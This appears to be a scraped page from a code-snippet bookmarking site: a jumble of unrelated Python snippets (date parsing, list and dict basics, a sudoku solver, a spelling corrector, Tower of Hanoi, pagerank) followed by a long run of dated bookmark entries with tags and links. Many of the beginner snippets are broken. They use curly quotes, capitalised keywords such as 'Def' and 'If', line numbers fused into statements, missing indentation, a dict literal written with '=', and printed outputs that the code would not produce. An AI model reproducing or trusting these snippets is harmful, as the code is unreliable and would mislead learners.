d = datetime.today() - timedelta(days=days_to_subtract)
def toDate(dateString): 
    return datetime.datetime.strptime(dateString, "%Y-%m-%d").date()

@app.route()
def event():
    ektempo = request.args.get('start', default = datetime.date.today(), type = toDate)
    ...
from datetime import date
from dateutil.rrule import rrule, DAILY

a = date(2009, 5, 30)
b = date(2009, 6, 9)

for dt in rrule(DAILY, dtstart=a, until=b):
    print dt.strftime("%Y-%m-%d")
# result and path should be outside of the scope of find_path to persist values during recursive calls to the function
result = []
path = []
from copy import copy

# i is the index of the list that dict_obj is part of
def find_path(dict_obj,key,i=None):
    for k,v in dict_obj.items():
        # add key to path
        path.append(k)
        if isinstance(v,dict):
            # continue searching
            find_path(v, key,i)
        if isinstance(v,list):
            # search through list of dictionaries
            for i,item in enumerate(v):
                # add the index of list that item dict is part of, to path
                path.append(i)
                if isinstance(item,dict):
                    # continue searching in item dict
                    find_path(item, key,i)
                # if reached here, the last added index was incorrect, so removed
                path.pop()
        if k == key:
            # add path to our result
            result.append(copy(path))
        # remove the key added in the first line
        if path != []:
            path.pop()

# default starting index is set to None
find_path(di,"location")
print(result)
# [['queryResult', 'outputContexts', 4, 'parameters', 'DELIVERY_ADDRESS_VALUE', 'location'], ['originalDetectIntentRequest', 'payload', 'inputs', 0, 'arguments', 0, 'extension', 'location']]
>>> from sklearn.metrics import f1_score
>>> y_true = [0, 1, 2, 0, 1, 2]
>>> y_pred = [0, 2, 1, 0, 0, 1]
>>> f1_score(y_true, y_pred, average='macro')
0.26...
>>> f1_score(y_true, y_pred, average='micro')
0.33...
>>> f1_score(y_true, y_pred, average='weighted')
0.26...
>>> f1_score(y_true, y_pred, average=None)
array([0.8, 0. , 0. ])
>>> y_true = [0, 0, 0, 0, 0, 0]
>>> y_pred = [0, 0, 0, 0, 0, 0]
>>> f1_score(y_true, y_pred, zero_division=1)
1.0...
   >>> x = 20 # x is a variable
  
  >>> if x < 50: # if condition
  ...    print('(first suite)')
  ...    print('x is small')
  ... else: else condition
  ...    print('(second suite)')
  ...    print('x is large')
  ...
 (first suite)
 x is small
                                
                                
keys, values)) # {'a': 2, 'c': 4, 'b': 3}
 
 
#make a function: def is the keyword for the function:
def to_dictionary(keys, values):
 
 
#return is the keyword that tells program that function has to return value   
return dict(zip(keys, values))
 
  
 
# keys and values are the lists:
 
keys = ["a", "b", "c"]   
 
values = [2, 3, 4]
                                
                                
People = 30
Cars = 40
Trucks = 14
# line 1,2,3 assign the value to variables
If cars > people: Using if statement
  Print(“we should take the  cars.”)
Elif cars < people: if 1st is false execute elif
  print(“we should not take the car.”)
else : # if both are false then execute else:
    print(“we can’t decide.”)
                               
                                
People = 20
Cats = 30
Dogs = 15
# line 1,2 and 3 assigning values to variables 
If people < cats: #1st condition
print(“too many cats”)
If people > cats: #2nd condition
print(“not many cats.”) # 3rd condition
If people > dogs:
print(“ the world is dry.”)
                              
                                
x = int(input("Please enter an integer: "))
Please enter an integer: 42 #getting input from user
>>> if x < 0: #1st condition
...    x = 0
...    print('Negative changed to zero')
... elif x == 0: #2nd condition
...    print('Zero')
... elif x == 1: #3rd condition
...    print('Single')
... else: #4th condition
...    print('More')                               
                                
# a characters list
          1.characters = ['a', 'b', 'c', 'd', 'e', 'f']
          2.characters.clear()
                                
                                
# animals list
1.animals = ['cat', 'dog', 'rabbit']

# list of wild animals
2.wild_animals = ['tiger', 'fox']

# appending wild_animals list to the animals list
3.animals.append(wild_animals)

4.print('Updated animals list: ', animals)                                
                                
 Lucky_numbers = [“3”, “7”, “15”, “32”, “42”]                               
                                
 #declare two set the range
1.i = 1
2.j = 5
#use while loop for i
3.while i < 4:
#use while loop for j    
4.while j < 8:
        5.print(i, ",", j)
        6.j = j + 1
        7.i = i + 1
Output:
1 , 5
2 , 6
3 , 7                               
                                
1.# For-Else Syntax

2.for item in seq:
    3.statement 1
    4.statement 2
    5.if <cond>:
        6.break
7.Else:
8.Example:
     9.birds = ['Belle', 'Coco', 'Juniper', 'Lilly', 'Snow']
10.ignoreElse = False


11.for theBird in birds:
    12.print(theBird )
    13.if ignoreElse and theBird is 'Snow':
        14.break
15.else:
    16.print("No birds left.")
                              
                                
days = 0
week = [‘Monday’, ‘Tuesday’, ‘Wednesday’, ‘Thursday’, ‘Friday’, ‘Saturday’, 3.‘Sunday’]
while day < 7:
print(“Today is” + week[days])
days += 1
                                
                                
def minus_key(key, dictionary):

shallow_copy = dict(dictionary)

del shallow_copy[key]

return shallow_copy
                               
                                
>>> stuff = {‘name’ : ‘Zed’, ‘age’ : 39, ‘height’ : 6 * 12 +1}
>>. print(stuff [‘name’])
Zed
>>> print(stuff [‘age’])
39
>>> print(stuff [‘height’])
74
>>> stuff [‘city’] = “SF”
>>. print(stuff[‘city’])
SF
                                
                                
n = 2

s ="Programming"

print(s * n) # ProgrammingProgramming
def byte_size(string):

  return(len(string.encode('utf-8')))

byte_size('😀’) # 4
byte_size('Hello World') # 11
Use functools.reduce() to perform right-to-left function composition. The last (rightmost) function can accept one or more arguments; the remaining functions must be unary.
from functools import reduce

1.def compose(*fns):
  2.return reduce(lambda f, g: lambda *args: f(g(*args)), fns)
EXAMPLES
add5 = lambda x: x + 5
multiply = lambda x, y: x * y
multiply_and_add_5 = compose(add5, multiply)

multiply_and_add_5(5, 2) # 15
#define a function 
 Def cube(num)
      #write the formula of cube
      return num*num*num
     #give the number to calculate the cube 
     cube(3)
   # print the cube of that number simply by using print command
    print(cube(3))
     “return” keyword means that function have to return          value
 # give a name of function after def
 1.def sayhi():
      #put the statement in the function  
     2.print(“hello world”)
#call function by name:
3.sayhi()


Output: 
Hello world
# Program to add natural
# numbers upto 
# sum = 1+2+3+...+n

# To take input from the user,
# n = int(input("Enter n: "))

1.n = 10

# initialize sum and counter
2.sum = 0
3.i = 1

4.while i <= n:
   5. sum = sum + i
   6. i = i+1    # update counter

# print the sum
7.print("The sum is", sum)

When you run this code output will be:
Enter n: 10
The sum is 55
#define function
defall_unique(lst):

   return len(lst) == len(set(lst))
   
x = [1,1,2,2,3,2,3,4,5,6]


y = [1,2,3,4,5]


all_unique(x) # False
all_unique(y) # True
This method gets vowels (‘a’, ‘e’, ‘i’, ‘o’, ‘u’) found in a string.
   
#make a function:
def get_vowels(string):

#return is the keyword which means function have to return value: 
 return [each for each in string if each in 'aeiou']


#assign the words and function will return vowels words.
get_vowels('foobar') # ['o', 'o', 'a']


get_vowels('gym') # []
#use print command
1.print (“Mary had a little lamb.”)
2.print (“I am 19 years old.”)
def byte_size(string):




 return(len(string.encode('utf-8')))


  


 


byte_size('😀’) # 4
byte_size('Hello World') # 11
#define a function 
 1.Def cube(num)
      #write the formula of cube
      2.return num*num*num
     #give the number to calculate the cube 
     3.cube(3)
   # print the cube of that number simply by using print command
    4.print(cube(3))
     5.“return” keyword means that function have to return value         
 
def merge_two_dicts(a, b):
 
 
   c = a.copy()   # make a copy of a
 
   c.update(b)    # modify keys and values of a with the ones from b
 
   return c
 
 
 
 
 
a = { 'x': 1, 'y': 2}
 
b = { 'y': 3, 'z': 4}
 
 
print(merge_two_dicts(a, b)) # {'y': 3, 'x': 1, 'z': 4}
 
 
#make two lists:
1.num_list = [1, 2, 3]
2.alpha_list = ['a', 'b', 'c']

#use for loop for 1st list:
3.for number in num_list:
#print the list    
4.print(number)
#use for loop for @nd list:    
5.for letter in alpha_list:

# animals list
1.animals = ['cat', 'dog', 'rabbit', 'guinea pig']

# 'rabbit' is removed
2.animals.remove('rabbit')

# Updated animals List
3.print('Updated animals list: ', animals)
“Extend”  Allow to take a list and append another list at the end of it.
# language list
1.language = ['French', 'English', 'German']

# another list of language
2.language1 = ['Spanish', 'Portuguese']

3.language.extend(language1)

# Extended List
4.print('Language List: ', language)

When you run the program, the output will be:
Language List:  ['French', 'English', 'German', 'Spanish', 'Portuguese']
 1. var = 100 # var is a variable.
2.if var < 200:
   3.print "Expression value is less than 200"
   4.if var == 150:
      5.print "Which is 150"
   6.elif var == 100:
      7.print "Which is 100"
   8.elif var == 50:
      9.print "Which is 50"
   10.elif var < 50:
      11.print "Expression value is less than 50"
12.else:
   13.print "Could not find true expression"
 
14.print "Good bye!"
 
When the above code is executed, it produces following result −
Expression value is less than 200
Which is 100
Good bye!
#In computer programming, an iterator is an object that enables a programmer to traverse a container, particularly lists.
# define function:
1.def unfold(fn, seed):
  2.def fn_generator(val):
    3.while True: 
      4.val = fn(val[1])
     5.-5 if val == False: break
      6.yield val[0]
  7.return [i for i in fn_generator([None, seed])]
EXAMPLES
f = lambda n: False if n > 50 else [-n, n + 10]
unfold(f, 10) # [-10, -20, -30, -40,
month_conversion = {
“Jan” = “January”
“Feb” = “February”
“Mar” = “March”
“Apr” = “April”
“Jun” = “June”
}
# keys must be unique:
print(month_conversion[“Mar”])


Output”
           March
1.People = 30
2.Cars = 40
3. Trucks = 14
     # line 1,2,3 assign the value to variables
4.If cars > people: #Using if statement
   5.Print(“we should take the  cars.”)
6.Elif cars < people: #if 1st is false execute elif
     7.print(“we should not take the car.”)
8.else : # if both are false then execute else:
          9.print(“we can’t decide.”)
#assign a value to a variable:
types_of_people = 10 
# make a string using variable name:
X = f “there are {types_of_people} types of people.”

Output:
There are 10 types of people
  #use for loop and set the range
for index in range(10):
  Print (index)
           
           #when you run this program, the output will be:
               0 
               1 
               2 
               3 
               4 
               5
               6
               7
               8 
               9
                  

from summarizer import Summarizer

body = '''
your text body
'''

model = Summarizer()
result = model(body, min_length=120)
full = ''.join(result)
print(full)
pip install youtube-dl
youtube-dl --yes-playlist --write-auto-sub https://www.youtube.com/playlist?list=PLJ8cMiYb3G5czofUrrizDiyC_yNLOe_CF
listing = os.listdir(path) 
num_samples=size(listing)
print num_samples

for file in listing:
    im = Image.open(path1 + '/' + file)   
    img = im.resize((img_rows,img_cols))
    gray = img.convert('L')
    gray.save(path2 +'/' +  file, "PNG")
>>> int(3.7)
3

>>> int(-3.4)
-3

>>> int(round(3.8))
4
from datetime import datetime

datetime_object = datetime.strptime('Jun 1 2005  1:33PM', '%b %d %Y %I:%M%p')
def when(predicate, when_true):
  return lambda x: when_true(x) if predicate(x) else x
  
EXAMPLES
double_even_numbers = when(lambda x: x % 2 == 0, lambda x : x * 2)
double_even_numbers(2) # 4
double_even_numbers(1) # 1
def unfold(fn, seed):
  def fn_generator(val):
    while True: 
      val = fn(val[1])
      if val == False: break
      yield val[0]
  return [i for i in fn_generator([None, seed])]
  
  
EXAMPLES
f = lambda n: False if n > 50 else [-n, n + 10]
unfold(f, 10) # [-10, -20, -30, -40, -50]
from functools import reduce

def compose(*fns):
  return reduce(lambda f, g: lambda *args: f(g(*args)), fns)


EXAMPLES
add5 = lambda x: x + 5
multiply = lambda x, y: x * y
multiply_and_add_5 = compose(add5, multiply)

multiply_and_add_5(5, 2) # 15
import numpy as np

def pagerank(M, num_iterations=100, d=0.85):
    N = M.shape[1]
    v = np.random.rand(N, 1)
    v = v / np.linalg.norm(v, 1)
    iteration = 0
    while iteration < num_iterations:
        iteration += 1
        v = d * np.matmul(M, v) + (1 - d) / N
    return v
from html.parser import HTMLParser

class MyHTMLParser(HTMLParser):
    def handle_starttag(self, tag, attrs):
        print("Encountered a start tag:", tag)
    def handle_endtag(self, tag):
        print("Encountered an end tag :", tag)
    def handle_data(self, data):
        print("Encountered some data  :", data)

parser = MyHTMLParser()
parser.feed('<html><head><title>Test</title></head>'
            '<body><h1>Parse me!</h1></body></html>')
           
def hanoi(n, source, helper, target):
    if n > 0:
        # move tower of size n - 1 to helper:
        hanoi(n - 1, source, target, helper)
        # move disk from source peg to target peg
        if source:
            target.append(source.pop())
        # move tower of size n-1 from helper to target
        hanoi(n - 1, helper, source, target)
        
source = [4,3,2,1]
target = []
helper = []
hanoi(len(source),source,helper,target)

print source, helper, target
    
Result:
    Move disk 1 from A to B
    Move disk 2 from A to C
    Move disk 1 from B to C
    Move disk 3 from A to B
    Move disk 1 from C to A
    Move disk 2 from C to B
    Move disk 1 from A to B
import re
import random
import os

# GLOBAL VARIABLES
grid_size = 81

def isFull (grid):
    return grid.count('.') == 0
  
# can be used more purposefully
def getTrialCelli(grid):
  for i in range(grid_size):
    if grid[i] == '.':
      print 'trial cell', i
      return i
      
def isLegal(trialVal, trialCelli, grid):

  cols = 0
  for eachSq in range(9):
    trialSq = [ x+cols for x in range(3) ] + [ x+9+cols for x in range(3) ] + [ x+18+cols for x in range(3) ]
    cols +=3
    if cols in [9, 36]:
      cols +=18
    if trialCelli in trialSq:
      for i in trialSq:
        if grid[i] != '.':
          if trialVal == int(grid[i]):
            print 'SQU',
            return False
  
  for eachRow in range(9):
    trialRow = [ x+(9*eachRow) for x in range (9) ]
    if trialCelli in trialRow:
      for i in trialRow:
        if grid[i] != '.':
          if trialVal == int(grid[i]):
            print 'ROW',
            return False
  
  for eachCol in range(9):
    trialCol = [ (9*x)+eachCol for x in range (9) ]
    if trialCelli in trialCol:
      for i in trialCol:
        if grid[i] != '.':
          if trialVal == int(grid[i]):
            print 'COL',
            return False
  print 'is legal', 'cell',trialCelli, 'set to ', trialVal
  return True

def setCell(trialVal, trialCelli, grid):
  grid[trialCelli] = trialVal
  return grid

def clearCell( trialCelli, grid ):
  grid[trialCelli] = '.'
  print 'clear cell', trialCelli
  return grid


def hasSolution (grid):
  if isFull(grid):
    print '\nSOLVED'
    return True
  else:
    trialCelli = getTrialCelli(grid)
    trialVal = 1
    solution_found = False
    while ( solution_found != True) and (trialVal < 10):
      print 'trial valu',trialVal,
      if isLegal(trialVal, trialCelli, grid):
        grid = setCell(trialVal, trialCelli, grid)
        if hasSolution (grid) == True:
          solution_found = True
          return True
        else:
          clearCell( trialCelli, grid )
      print '++'
      trialVal += 1
  return solution_found

def main ():
  #sampleGrid = ['2', '1', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '3', '1', '.', '.', '.', '.', '9', '4', '.', '.', '.', '.', '7', '8', '2', '5', '.', '.', '4', '.', '.', '.', '.', '.', '.', '6', '.', '.', '.', '.', '.', '1', '.', '.', '.', '.', '8', '2', '.', '.', '.', '7', '.', '.', '9', '.', '.', '.', '.', '.', '.', '.', '.', '3', '1', '.', '4', '.', '.', '.', '.', '.', '.', '.', '3', '8', '.']
  #sampleGrid = ['.', '.', '3', '.', '2', '.', '6', '.', '.', '9', '.', '.', '3', '.', '5', '.', '.', '1', '.', '.', '1', '8', '.', '6', '4', '.', '.', '.', '.', '8', '1', '.', '2', '9', '.', '.', '7', '.', '.', '.', '.', '.', '.', '.', '8', '.', '.', '6', '7', '.', '8', '2', '.', '.', '.', '.', '2', '6', '.', '9', '5', '.', '.', '8', '.', '.', '2', '.', '3', '.', '.', '9', '.', '.', '5', '.', '1', '.', '3', '.', '.']
  sampleGrid = ['.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '.', '4', '6', '2', '9', '5', '1', '8', '1', '9', '6', '3', '5', '8', '2', '7', '4', '4', '7', '3', '8', '9', '2', '6', '5', '1', '6', '8', '.', '.', '3', '1', '.', '4', '.', '.', '.', '.', '.', '.', '.', '3', '8', '.']
  printGrid(sampleGrid, 0)
  if hasSolution (sampleGrid):
    printGrid(sampleGrid, 0)
  else: print 'NO SOLUTION'

  
if __name__ == "__main__":
    main()

def printGrid (grid, add_zeros):
  i = 0
  for val in grid:
    if add_zeros == 1:
      if int(val) < 10: 
        print '0'+str(val),
      else:
        print val,
    else:
        print val,
    i +=1
    if i in [ (x*9)+3 for x in range(81)] +[ (x*9)+6 for x in range(81)] +[ (x*9)+9 for x in range(81)] :
        print '|',
    if add_zeros == 1:
      if i in [ 27, 54, 81]:
        print '\n---------+----------+----------+'
      elif i in [ (x*9) for x in range(81)]:
        print '\n'
    else:
      if i in [ 27, 54, 81]:
        print '\n------+-------+-------+'
      elif i in [ (x*9) for x in range(81)]:
        print '\n'
import re
from collections import Counter

def words(text): return re.findall(r'\w+', text.lower())

WORDS = Counter(words(open('big.txt').read()))

def P(word, N=sum(WORDS.values())): 
    "Probability of `word`."
    return WORDS[word] / N

def correction(word): 
    "Most probable spelling correction for word."
    return max(candidates(word), key=P)

def candidates(word): 
    "Generate possible spelling corrections for word."
    return (known([word]) or known(edits1(word)) or known(edits2(word)) or [word])

def known(words): 
    "The subset of `words` that appear in the dictionary of WORDS."
    return set(w for w in words if w in WORDS)

def edits1(word):
    "All edits that are one edit away from `word`."
    letters    = 'abcdefghijklmnopqrstuvwxyz'
    splits     = [(word[:i], word[i:])    for i in range(len(word) + 1)]
    deletes    = [L + R[1:]               for L, R in splits if R]
    transposes = [L + R[1] + R[0] + R[2:] for L, R in splits if len(R)>1]
    replaces   = [L + c + R[1:]           for L, R in splits if R for c in letters]
    inserts    = [L + c + R               for L, R in splits for c in letters]
    return set(deletes + transposes + replaces + inserts)

def edits2(word): 
    "All edits that are two edits away from `word`."
    return (e2 for e1 in edits1(word) for e2 in edits1(e1))
class Solution(object):
    def letterCombinations(self, digits):
        """
        :type digits: str
        :rtype: List[str]
        """
        
# Python3 implementation of the approach 

# Function to sort the array such that 
# negative values do not get affected 
def sortArray(a, n): 

	# Store all non-negative values 
	ans=[] 
	for i in range(n): 
		if (a[i] >= 0): 
			ans.append(a[i]) 

	# Sort non-negative values 
	ans = sorted(ans) 

	j = 0
	for i in range(n): 

		# If current element is non-negative then 
		# update it such that all the 
		# non-negative values are sorted 
		if (a[i] >= 0): 
			a[i] = ans[j] 
			j += 1

	# Print the sorted array 
	for i in range(n): 
		print(a[i],end = " ") 


# Driver code 

arr = [2, -6, -3, 8, 4, 1] 

n = len(arr) 

sortArray(arr, n) 

a = []

if not a:
  print("List is empty")
if "blah" not in somestring: 
    continue
>>> from time import gmtime, strftime
>>> strftime("%Y-%m-%d %H:%M:%S", gmtime())
'2009-01-05 22:14:39'
import pathlib
pathlib.Path('/my/directory').mkdir(parents=True, exist_ok=True) 
import glob
print(glob.glob("/home/adam/*.txt"))
for idx, val in enumerate(ints):
    print(idx, val)
if 'key1' in dict:
  print "blah"
else:
  print "boo"
import time
time.sleep(5)   # Delays for 5 seconds. You can also use a float value.
x = tf.random_normal([300], mean = 5, stddev = 1)
y = tf.random_normal([300], mean = 5, stddev = 1)
avg = tf.reduce_mean(x - y)
cond = tf.less(avg, 0)
left_op = tf.reduce_mean(tf.square(x-y))
right_op = tf.reduce_mean(tf.abs(x-y))
out = tf.where(cond, left_op, right_op) #tf.select() has been fucking deprecated
>>> a = "545.2222"
>>> float(a)
545.22220000000004
>>> int(float(a))
545
bookmark
dashboard

Fri Jan 08 2021 00:17:54 GMT+0000 (UTC)

#python #file
bookmark
dashboard

Wed Jan 06 2021 14:30:12 GMT+0000 (UTC) https://stackoverflow.com/questions/44549110/python-loop-through-excel-sheets-place-into-one-df

#python
bookmark
dashboard

Wed Jan 06 2021 09:51:36 GMT+0000 (UTC) https://stackoverflow.com/questions/17426292/what-is-the-most-efficient-way-to-create-a-dictionary-of-two-pandas-dataframe-co

#python
bookmark
dashboard

Sun Jan 03 2021 13:12:13 GMT+0000 (UTC)

#python
bookmark
dashboard

Thu Dec 31 2020 16:38:29 GMT+0000 (UTC)

#python #datetime
bookmark
dashboard

Thu Dec 31 2020 16:16:12 GMT+0000 (UTC)

#python #ds18b20 #raspberry
bookmark
dashboard

Thu Dec 31 2020 15:55:09 GMT+0000 (UTC)

#python #raspberry
bookmark
dashboard

Thu Dec 31 2020 15:52:11 GMT+0000 (UTC)

#python
bookmark
dashboard

Fri Dec 25 2020 11:54:13 GMT+0000 (UTC) https://stackoverflow.com/questions/33192381/when-using-beautifulsoup-4s-find-all-with-a-regex-how-do-i-access-regex-matc

#python
bookmark
dashboard

Wed Dec 23 2020 02:33:02 GMT+0000 (UTC)

#python
bookmark
dashboard

Tue Dec 22 2020 11:16:09 GMT+0000 (UTC)

#python #django
bookmark
dashboard

Tue Dec 22 2020 09:02:28 GMT+0000 (UTC)

#python #django
bookmark
dashboard

Mon Dec 21 2020 20:10:07 GMT+0000 (UTC)

#python
bookmark
dashboard

Mon Dec 21 2020 20:08:21 GMT+0000 (UTC)

#python
bookmark
dashboard

Mon Dec 21 2020 19:38:43 GMT+0000 (UTC)

#python
bookmark
dashboard

Mon Dec 21 2020 19:24:35 GMT+0000 (UTC)

#python
bookmark
dashboard

Mon Dec 21 2020 19:04:02 GMT+0000 (UTC)

#python
bookmark
dashboard

Mon Dec 21 2020 15:53:21 GMT+0000 (UTC)

#python
bookmark
dashboard

Mon Dec 21 2020 07:00:59 GMT+0000 (UTC)

#touchdesigner #python
bookmark
dashboard

Sun Dec 20 2020 09:07:03 GMT+0000 (UTC)

#python
bookmark
dashboard

Sat Dec 12 2020 22:40:14 GMT+0000 (UTC) https://learn-2.galvanize.com/cohorts/2302/blocks/315/content_files/06_Importing/02_math.md

#python
bookmark
dashboard

Sat Dec 12 2020 22:39:03 GMT+0000 (UTC) https://learn-2.galvanize.com/cohorts/2302/blocks/315/content_files/06_Importing/02_math.md

#python
bookmark
dashboard

Tue Dec 08 2020 20:24:56 GMT+0000 (UTC) https://stackabuse.com/reading-and-writing-json-to-a-file-in-python/

#python
bookmark
dashboard

Tue Dec 08 2020 20:22:03 GMT+0000 (UTC) https://stackabuse.com/reading-and-writing-json-to-a-file-in-python/

#python
bookmark
dashboard

Fri Dec 04 2020 09:01:53 GMT+0000 (UTC)

#python
bookmark
dashboard

Fri Dec 04 2020 08:43:27 GMT+0000 (UTC)

#python
bookmark
dashboard

Thu Dec 03 2020 10:45:28 GMT+0000 (UTC) https://docs.python.org/3/library/logging.html

#python
bookmark
dashboard

Wed Dec 02 2020 22:18:17 GMT+0000 (UTC) https://stackoverflow.com/questions/10663720/how-to-convert-a-time-string-to-seconds

#python
bookmark
dashboard

Wed Dec 02 2020 20:15:57 GMT+0000 (UTC) https://github.com/ourownstory/neural_prophet

#python
bookmark
dashboard

Mon Nov 30 2020 15:22:05 GMT+0000 (UTC)

#python
bookmark
dashboard

Mon Nov 30 2020 11:38:37 GMT+0000 (UTC) https://stackoverflow.com/questions/13293810/import-pandas-dataframe-column-as-string-not-int

#python
bookmark
dashboard

Wed Nov 25 2020 22:07:24 GMT+0000 (UTC) https://pythontutor.ru/lessons/2d_arrays/

#python
bookmark
dashboard

Wed Nov 25 2020 08:53:13 GMT+0000 (UTC) https://stackoverflow.com/questions/44027873/how-to-create-a-new-docker-image-from-a-running-container-on-amazon

#python
bookmark
dashboard

Mon Nov 23 2020 04:03:12 GMT+0000 (UTC) https://stackoverflow.com/questions/2720014/how-to-upgrade-all-python-packages-with-pip

#python #pip
bookmark
dashboard

Thu Nov 19 2020 07:45:57 GMT+0000 (UTC) https://www.google.com/search?q

#python
bookmark
dashboard

Tue Nov 17 2020 19:29:44 GMT+0000 (UTC) https://stackoverflow.com/questions/39719689/what-is-the-difference-between-json-load-and-json-loads-functions

#python
bookmark
dashboard

Tue Nov 17 2020 18:17:22 GMT+0000 (UTC)

#python
bookmark
dashboard

Mon Nov 16 2020 13:04:00 GMT+0000 (UTC) https://stackoverflow.com/questions/24870306/how-to-check-if-a-column-exists-in-pandas

#python
bookmark
dashboard

Mon Nov 16 2020 13:03:48 GMT+0000 (UTC) https://stackoverflow.com/questions/18172851/deleting-dataframe-row-in-pandas-based-on-column-value

#python
bookmark
dashboard

Sun Nov 01 2020 17:10:18 GMT+0000 (UTC)

#python
bookmark
dashboard

Fri Oct 30 2020 20:24:21 GMT+0000 (UTC) https://www.geeksforgeeks.org/python-membership-identity-operators-not-not/

#python #is #not #in
bookmark
dashboard

Fri Oct 30 2020 20:19:26 GMT+0000 (UTC) https://www.geeksforgeeks.org/python-membership-identity-operators-not-not/

#python #in #list
bookmark
dashboard

Wed Oct 28 2020 10:58:52 GMT+0000 (UTC) https://stackoverflow.com/questions/50144074/regex-combine-capturing-group-with-or-condition

#python
bookmark
dashboard

Wed Oct 28 2020 02:09:48 GMT+0000 (UTC) https://stackoverflow.com/questions/39327032/how-to-get-the-latest-file-in-a-folder-using-python

#python #glob #file #latest
bookmark
dashboard

Mon Oct 26 2020 01:01:58 GMT+0000 (UTC) https://pbpython.com/styling-pandas.html

#python #pandas #format #currency
bookmark
dashboard

Mon Oct 26 2020 00:28:49 GMT+0000 (UTC) https://www.kite.com/python/answers/how-to-format-a-float-as-currency-in-python

#python #pandas #formatting
bookmark
dashboard

Sun Oct 25 2020 06:36:31 GMT+0000 (UTC) https://stackoverflow.com/questions/13960326/how-can-i-parse-a-website-using-selenium-and-beautifulsoup-in-python

#python #beautifulsoup
bookmark
dashboard

Sun Oct 25 2020 06:35:44 GMT+0000 (UTC) https://stackoverflow.com/questions/43982002/extract-src-attribute-from-img-tag-using-beautifulsoup/47166671

#python #beautifulsoup
bookmark
dashboard

Sat Oct 24 2020 06:04:29 GMT+0000 (UTC) https://therenegadecoder.com/code/python-code-snippets-for-everyday-problems/

#python
bookmark
dashboard

Sat Oct 24 2020 06:02:47 GMT+0000 (UTC) https://therenegadecoder.com/code/python-code-snippets-for-everyday-problems/

#python
bookmark
dashboard

Sat Oct 24 2020 06:01:15 GMT+0000 (UTC) https://therenegadecoder.com/code/python-code-snippets-for-everyday-problems/

#python
bookmark
dashboard

Thu Oct 22 2020 14:28:39 GMT+0000 (UTC) https://realpython.com/python-virtual-environments-a-primer/

#python #virtual_environment #virtalenv
bookmark
dashboard

Thu Oct 22 2020 09:00:37 GMT+0000 (UTC)

#python #flask
bookmark
dashboard

Thu Oct 22 2020 04:26:28 GMT+0000 (UTC) https://towardsdatascience.com/jupyter-notebook-essential-productivity-hacks-9b7d69073769

#python #jupyternotebooks #seaborn #matplotlib
bookmark
dashboard

Thu Oct 22 2020 04:21:57 GMT+0000 (UTC) https://towardsdatascience.com/jupyter-notebook-essential-productivity-hacks-9b7d69073769

#jupyternotebooks #python
bookmark
dashboard

Thu Oct 22 2020 04:16:45 GMT+0000 (UTC) https://towardsdatascience.com/jupyter-notebook-essential-productivity-hacks-9b7d69073769

#jupyternotebooks #python
bookmark
dashboard

Tue Oct 20 2020 11:26:52 GMT+0000 (UTC) https://medium.com/better-programming/10-ways-to-convert-lists-to-dictionaries-in-python-d2c728d2aeb8

#python
bookmark
dashboard

Tue Oct 20 2020 09:28:55 GMT+0000 (UTC) https://www.kite.com/python/answers/how-to-reorder-columns-in-a-pandas-dataframe-in-python

#python #pandas
bookmark
dashboard

Tue Oct 20 2020 05:25:38 GMT+0000 (UTC) https://www.yodiaditya.com/convert-month-name-into-number-month-number-to-month-name-in-python/

#python #calendar
bookmark
dashboard

Sun Oct 18 2020 16:45:54 GMT+0000 (UTC) https://stackoverflow.com/questions/19736080/creating-dataframe-from-a-dictionary-where-entries-have-different-lengths

#python
bookmark
dashboard

Sat Oct 17 2020 16:34:53 GMT+0000 (UTC) https://www.quora.com/How-do-I-remove-punctuation-from-a-Python-string

#python #regex #punctuation
bookmark
dashboard

Sat Oct 17 2020 16:14:28 GMT+0000 (UTC) https://www.w3resource.com/python-exercises/python-basic-exercise-85.php

#python
bookmark
dashboard

Fri Oct 16 2020 22:26:07 GMT+0000 (UTC) https://stackoverflow.com/questions/47015886/pandas-grouper-vs-time-grouper

#python #pandas #grouper
bookmark
dashboard

Sun Oct 11 2020 07:56:44 GMT+0000 (UTC) https://stackoverflow.com/questions/43619896/python-pandas-iterate-over-rows-and-access-column-names/43620031

#python
bookmark
dashboard

Fri Oct 09 2020 18:57:48 GMT+0000 (UTC) https://github.com/mammothb/symspellpy/issues/80

#python
bookmark
dashboard

Fri Oct 02 2020 22:41:59 GMT+0000 (UTC) Myself

#python
bookmark
dashboard

Mon Sep 28 2020 19:57:11 GMT+0000 (UTC) https://youtu.be/wMNrSM5RFMc

#python
bookmark
dashboard

Sun Sep 27 2020 17:12:19 GMT+0000 (UTC) https://stackoverflow.com/questions/51924128/check-if-the-active-tab-is-the-correct

#python
bookmark
dashboard

Wed Sep 23 2020 16:08:28 GMT+0000 (UTC) https://stackoverflow.com/questions/48382289/how-to-save-scikit-learn-classifiert-objects

#python
bookmark
dashboard

Tue Sep 22 2020 00:48:01 GMT+0000 (UTC)

#python
bookmark
dashboard

Sat Sep 19 2020 19:51:29 GMT+0000 (UTC)

#python
bookmark
dashboard

Wed Sep 09 2020 13:28:09 GMT+0000 (UTC) https://stackoverflow.com/a/483833/6942743

#python #dictionary
bookmark
dashboard

Tue Sep 08 2020 16:10:21 GMT+0000 (UTC) https://stackoverflow.com/questions/47754388/valueerror-no-axis-named-node2-for-object-type-class-pandas-core-frame-datafr

#python
bookmark
dashboard

Tue Sep 08 2020 09:07:19 GMT+0000 (UTC) https://stackoverflow.com/questions/3424899/whats-the-simplest-way-to-subtract-a-month-from-a-date-in-python

#python
bookmark
dashboard

Fri Sep 04 2020 05:19:26 GMT+0000 (UTC) https://stackoverflow.com/questions/39780792/how-to-build-a-sparksession-in-spark-2-0-using-pyspark

#python #pyspark #spark #spark-session
bookmark
dashboard

Tue Sep 01 2020 17:25:46 GMT+0000 (UTC) https://stackoverflow.com/questions/42950/how-to-get-the-last-day-of-the-month

#python
bookmark
dashboard

Tue Sep 01 2020 17:25:10 GMT+0000 (UTC) https://stackoverflow.com/questions/441147/how-to-subtract-a-day-from-a-date

#python
bookmark
dashboard

Sun Aug 30 2020 18:34:38 GMT+0000 (UTC) https://stackoverflow.com/questions/41407414/convert-string-to-enum-in-python

#python
bookmark
dashboard

Thu Aug 27 2020 19:54:14 GMT+0000 (UTC) https://stackoverflow.com/questions/17426292/what-is-the-most-efficient-way-to-create-a-dictionary-of-two-pandas-dataframe-co

#python
bookmark
dashboard

